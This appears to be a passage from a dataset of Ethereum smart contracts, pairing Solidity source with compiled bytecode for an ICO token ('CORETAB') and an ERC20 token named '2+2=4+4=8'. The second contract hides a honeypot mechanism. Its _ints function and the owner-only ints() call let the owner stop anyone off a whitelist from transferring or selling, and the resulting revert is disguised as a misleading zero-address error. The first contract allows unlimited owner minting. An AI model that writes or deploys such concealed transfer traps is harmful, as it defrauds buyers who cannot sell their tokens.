ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "CRT"; name = "CORETAB"; decimals = 18; _totalSupply = 300000000 * 10**uint(decimals); balances[owner] = _totalSupply; RATE = 5000; emit Transfer(address(0), owner, _totalSupply); } // ---------------------------------------------------------------------------- // It invokes when someone sends ETH to this contract address // requires enough gas for execution // ---------------------------------------------------------------------------- function() public payable { buyTokens(); } // ---------------------------------------------------------------------------- // Function to handle eth and token transfers // tokens are transferred to user // ETH are transferred to current owner // ---------------------------------------------------------------------------- function buyTokens() onlyWhenRunning public payable { require(msg.value > 0); uint tokens = msg.value.mul(RATE); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Increase the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To increment // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _addedValue The amount of tokens to increase the allowance by. // ------------------------------------------------------------------------ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Decrease the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To decrement // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _subtractedValue The amount of tokens to decrease the allowance by. // ------------------------------------------------------------------------ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Change the ETH to BLCURR rate // ------------------------------------------------------------------------ function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } // ------------------------------------------------------------------------ // Function to mint tokens // _to The address that will receive the minted tokens. // _amount The amount of tokens to mint. // A boolean that indicates if the operation was successful. // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount > 0); uint newamount = _amount; _totalSupply = _totalSupply.add(newamount); balances[_to] = balances[_to].add(newamount); emit Mint(_to, newamount); emit Transfer(address(0), _to, newamount); return true; } // ------------------------------------------------------------------------ // function to stop the ICO // ------------------------------------------------------------------------ function stopICO() onlyOwner public { isStopped = true; } // ------------------------------------------------------------------------ // function to resume ICO // ------------------------------------------------------------------------ function resumeICO() onlyOwner public { isStopped = false; } }
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610126578063095ea7b3146101b057806318160ddd146101e857806323b872dd1461020f578063313ce567146102395780633eaaf86b146102645780633f683b6a1461027957806340c10f191461028e57806366188463146102b2578063664e9704146102d657806370a08231146102eb57806374e7493b1461030c5780638da5cb5b1461032457806395d89b41146103555780639cbd7da51461036a578063a9059cbb1461037f578063c8e569a8146103a3578063d0febe4c1461011c578063d73dd623146103b8578063dd62ed3e146103dc578063f2fde38b14610403575b610124610424565b005b34801561013257600080fd5b5061013b610559565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017557818101518382015260200161015d565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bc57600080fd5b506101d4600160a060020a03600435166024356105e4565b604080519115158252519081900360200190f35b3480156101f457600080fd5b506101fd610670565b60408051918252519081900360200190f35b34801561021b57600080fd5b506101d4600160a060020a0360043581169060243516604435610676565b34801561024557600080fd5b5061024e6107fd565b6040805160ff9092168252519081900360200190f35b34801561027057600080fd5b506101fd610806565b34801561028557600080fd5b506101d461080c565b34801561029a57600080fd5b506101d4600160a060020a0360043516602435610815565b3480156102be57600080fd5b506101d4600160a060020a036004351660243561091e565b3480156102e257600080fd5b506101fd610a27565b3480156102f757600080fd5b506101fd600160a060020a0360043516610a2d565b34801561031857600080fd5b50610124600435610a48565b34801561033057600080fd5b50610339610aa7565b60408051600160a060020a039092168252519081900360200190f35b34801561036157600080fd5b5061013b610ab6565b34801561037657600080fd5b50610124610b10565b34801561038b57600080fd5b506101d4600160a060020a0360043516602435610b33565b3480156103af57600080fd5b50610124610c11565b3480156103c457600080fd5b506101d4600160a060020a0360043516602435610c37565b3480156103e857600080fd5b506101fd600160a060020a0360043581169060243516610ce7565b34801561040f57600080fd5b50610124600160a060020a0360043516610d12565b60065460009060ff161561043757600080fd5b6000341161044457600080fd5b60055461045890349063ffffffff610da616565b60008054600160a060020a031681526007602052604090205490915081111561048057600080fd5b336000908152600760205260409020546104a0908263ffffffff610dcb16565b33600090815260076020526040808220929092558054600160a060020a0316815220546104d3908263ffffffff610ddb16565b60008054600160a060020a0390811682526007602090815260408084209490945591548351858152935133949190921692600080516020610df183398151915292918290030190a360008054604051600160a060020a03909116913480156108fc02929091818181858888f19350505050158015610555573d6000803e3d6000fd5b5050565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105dc5780601f106105b1576101008083540402835291602001916105dc565b820191906000526020600020905b8154815290600101906020018083116105bf57829003601f168201915b505050505081565b6000600160a060020a03831615156105fb57600080fd5b6000821161060857600080fd5b336000818152600860209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60045490565b6000600160a060020a038416151561068d57600080fd5b600160a060020a03831615156106a257600080fd5b600082116106af57600080fd5b600160a060020a0384166000908152600760205260409020548211156106d457600080fd5b600160a060020a038416600090815260086020908152604080832033845290915290205482111561070457600080fd5b600160a060020a03841660009081526007602052604090205461072d908363ffffffff610ddb16565b600160a060020a038516600090815260076020908152604080832093909355600881528282203383529052205461076a908363ffffffff610ddb16565b600160a060020a0380861660009081526008602090815260408083203384528252808320949094559186168152600790915220546107ae908363ffffffff610dcb16565b600160a060020a038085166000818152600760209081526040918290209490945580518681529051919392881692600080516020610df183398151915292918290030190a35060019392505050565b60035460ff1681565b60045481565b60065460ff1681565b600080548190600160a060020a0316331461082f57600080fd5b600160a060020a038416151561084457600080fd5b6000831161085157600080fd5b506004548290610867908263ffffffff610dcb16565b600455600160a060020a038416600090815260076020526040902054610893908263ffffffff610dcb16565b600160a060020a038516600081815260076020908152604091829020939093558051848152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518281529051600160a060020a03861691600091600080516020610df18339815191529181900360200190a35060019392505050565b600080600160a060020a038416151561093657600080fd5b50336000908152600860209081526040808320600160a060020a03871684529091529020548083111561098c57336000908152600860209081526040808320600160a060020a03881684529091528120556109c1565b61099c818463ffffffff610ddb16565b336000908152600860209081526040808320600160a060020a03891684529091529020555b336000818152600860209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055481565b600160a060020a031660009081526007602052604090205490565b600054600160a060020a03163314610a5f57600080fd5b60008111610a6c57600080fd5b60058190556040805182815290517f5a75aa1ccd5244c76a14e60301b7bc29e02263de78b6af4606269d5e1db085139181900360200190a150565b600054600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105dc5780601f106105b1576101008083540402835291602001916105dc565b600054600160a060020a03163314610b2757600080fd5b6006805460ff19169055565b6000600160a060020a0383161515610b4a57600080fd5b60008211610b5757600080fd5b33600090815260076020526040902054821115610b7357600080fd5b33600090815260076020526040902054610b93908363ffffffff610ddb16565b3360009081526007602052604080822092909255600160a060020a03851681522054610bc5908363ffffffff610dcb16565b600160a060020a038416600081815260076020908152604091829020939093558051858152905191923392600080516020610df18339815191529281900390910190a350600192915050565b600054600160a060020a03163314610c2857600080fd5b6006805460ff19166001179055565b6000600160a060020a0383161515610c4e57600080fd5b336000908152600860209081526040808320600160a060020a0387168452909152902054610c82908363ffffffff610dcb16565b336000818152600860209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b600054600160a060020a03163314610d2957600080fd5b600160a060020a0381161515610d3e57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b818102821580610dc05750818382811515610dbd57fe5b04145b151561066a57600080fd5b8181018281101561066a57600080fd5b600082821115610dea57600080fd5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ea7004928e2e1bcbe6c441d6e70dfa32b31b05d1e8ff139fc6282e8e2d8fab530029
{"success": true, "error": null, "results": {}}
6,891
0xfc83bc485ef209e6a6bf9910e4b239585b934512
// ---------------------------------------------------------------------------- // // '2+2=4+4=8' token contract // website : 2248.io // Symbol : 2248 // Name : 2+2=4+4=8 // Total supply: 22 448 // Decimals : 8 // ---------------------------------------------------------------------------- pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122084e70eafffa5e99684b3ccd0f331cf2e89122ee7db2052c16667b869e93fc63c64736f6c63430006060033
{"success": true, "error": null, "results": {}}
6,892
0x94efc284035e91143fb0d2d1f1abbadaf9b9b16c
